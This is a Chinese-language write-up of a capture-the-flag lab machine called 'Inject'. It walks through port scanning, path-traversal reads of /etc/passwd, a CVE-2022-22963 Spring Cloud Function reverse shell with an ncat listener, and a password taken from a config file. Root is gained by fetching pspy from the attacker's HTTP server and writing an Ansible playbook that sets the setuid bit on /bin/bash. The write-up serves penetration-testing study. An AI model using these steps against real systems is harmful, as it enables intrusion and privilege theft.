文章目录
- 0x01 信息收集
- 0x02 漏洞探测
- 1.文件上传功能探测
- 2.文件包含漏洞测试
- 3.探测3.2.2版本的spring-cloud-function-web是否存在已知漏洞
- 0x03 横向移动
- 0x04 权限提升
Inject 测试过程
0x01 信息收集
a.端口扫描
:发现22、8080端口
nmap -sC -sV 10.129.228.213
访问 10.129.228.213:8080 web页面,在页面中存在一处文件上传接口 upload
0x02 漏洞探测
1.文件上传功能探测
图片文件上传成功后,view your Image
按钮可以查看图片路径
http://10.129.228.213:8080/show_image?img=test.jpg
,观察img参数,如果对image参数内容没有进行过滤,那么就有可能导致路径遍历、文件包含
等
2.文件包含漏洞测试
1.利用文件包含漏洞读取/etc/passwd
GET /show_image?img=../../../../../../etc/passwd
可以读取/etc/passwd文件,证明存在文件包含漏洞
2.利用文件包含漏洞读取其他敏感文件
# 读取应用程序的web目录
GET /show_image?img=../../../../../../var/www
GET /show_image?img=../../../../../../var/www/WebApp
GET /show_image?img=../../../../../../var/www/WebApp/pom.xml
GET /show_image?img=../../../../../../var/www/WebApp/pom.xml
发现 3.2.2版本的spring-cloud-function-web
3.探测3.2.2版本的spring-cloud-function-web是否存在已知漏洞
1.搜索引擎搜索 spring-cloud-function-web - exploit
2.发现存在漏洞编号为:CVE-2022-22963
漏洞利用工具 python 脚本地址:CVE-2022-22963-RCE
修改脚本文件中lhost、lport、rhost、rport
参数
执行spring-cloud-rce.py脚本,并在本地 ncat -lnvp 4444
执行监听
脚本成功执行并获取到shell,使用 script /dev/null -c bash
命令获取稳定 tty
script /dev/null -c bash
0x03 横向移动
1.查看当前权限的可访问文件
在/.m2/settings.xml
文件中发现存在 phil
用户密码 DocPhillovestoInject123
2.切换到phil用户
phil
:DocPhillovestoInject123
ssh连接失败,使用su命令
进行切换
0x04 权限提升
sudo -l
1.上传pspy64二进制文件检测系统可用进程
本地开启http server服务
python3 -m http.server 8000
下载pspy64,并赋予执行权限
wget http://10.10.14.150:8000/pspy64
chmod +x pspy64
./pspy64
2.运行pspy工具发现如下进程
使用root权限, ansible-parallel
工具执行 /opt/automation/tasks/*.yml
删除 /opt/automation/tasks/*
,然后将 /root/playbook_1.yml
文件复制到 /opt/automation/tasks/
目录下
1.查看 /opt/automation/tasks/
目录权限,root用户和staff用户组具有读写权限
2.查看 playbook_1.yml
文件内容,文件检查webapp服务是否在本地机器运行,如果没有,则启动并配置为开机自动运行
如果staff组的用户可以改写playbook_1.yml文件,那么就可以写入shell,获取root权限
3.获取root权限
检查发现 phil 用户是staff组的成员,刚好满足我们获取 root 权限的第一个条件
编辑yml文件,写入 bash 命令,并将其上传到目标主机
# playbook_3.yml
- hosts: localhosttasks:- name: ROOTcommand: chmod u+s /bin/bashbecome: true
本地开启 http.server 服务
python3 -m http.server 8000
上传playbook_3.yml文件
/bin/bash -p
/bin/bash -p 是一个命令行参数,它指示系统在运行 bash shell 时以特权模式执行。这样可以让用户以 root 用户的权限运行 bash shell,具有更高的权限执行一些操作。